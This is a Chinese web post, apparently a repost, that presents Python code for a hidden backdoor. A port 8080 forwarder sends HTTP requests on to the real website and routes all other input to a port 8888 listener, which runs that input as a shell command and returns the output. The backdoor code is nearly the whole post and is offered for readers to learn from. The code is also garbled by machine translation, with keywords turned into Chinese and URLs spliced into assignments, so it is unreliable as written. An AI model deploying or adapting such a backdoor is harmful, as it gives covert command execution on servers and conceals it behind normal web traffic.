用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发80到端口保证网站正常运行。否则转发8888到端口执行系统命令。
<强> 8888端口监听代码:强>
# !/usr/bin/env python 从套接字进口* 进口操作系统 主机=' 127.0.0.1 ' 端口=8888 BUFSIZE=1024 ADDR=(主机、端口) tcpSerSock=插座(AF_INET SOCK_STREAM) tcpSerSock.setsockopt (SOL_SOCKET SO_REUSEADDR 1) tcpSerSock.bind (ADDR) tcpSerSock.listen (5) 而真正的: 打印(“等待连接…”) tcpCliSock addr=tcpSerSock.accept () 打印(“…连接从:“addr) 而真正的: data=tcpCliSock.recv (BUFSIZE) 如果没有数据: 打破 信息=data.split (“\ n”) 命令[0]=信息 试一试: 操作系统。系统(指挥+”比;command.txt”); 文件=打开(“command.txt”) 数据=" " 线的文件: 数据=https://www.yisu.com/zixun/data +线; tcpCliSock.send(数据) 除了例外: tcpCliSock。发送(“无所事事”) tcpCliSock.close () tcpSerSock.close () >之前<强> 8080端口转发代码:强>
# !/usr/bin/python 从套接字进口* tcp1=插座(AF_INET SOCK_STREAM) tcp1.setsockopt (SOL_SOCKET SO_REUSEADDR 1) tcp1.bind ((0.0.0.0, 8080)) tcp1.listen (10) BUFFER_SIZE=2048 tcpCliSock addr=tcp1.accept () 而真正的: data=https://www.yisu.com/zixun/tcpCliSock.recv (BUFFER_SIZE) 如果'HTTP”数据: tcp3=插座(AF_INET SOCK_STREAM) tcp3.setsockopt (SOL_SOCKET SO_REUSEADDR 1) tcp3.connect ((127.0.0.1, 80)) tcp3.send(数据) htmlinfo=tcp3.recv (2048) 如果不是htmlinfo: tcp3.close () 其他: tcpCliSock.send (htmlinfo) 其他: tcp2=插座(AF_INET SOCK_STREAM) tcp2.setsockopt (SOL_SOCKET SO_REUSEADDR 1) tcp2.connect ((127.0.0.1, 8888)) data=https://www.yisu.com/zixun/data.replace (" \ n ", " ") 打印数据 tcp2.send(数据) commandinfo=tcp2.recv (1024) tcpCliSock.send (commandinfo) tcp2.close () tcpCliSock.close () tcp1.close () >之前有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。
以上这篇python基于套接字进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持。
python基于套接字进行端口转发实现后门隐藏的示例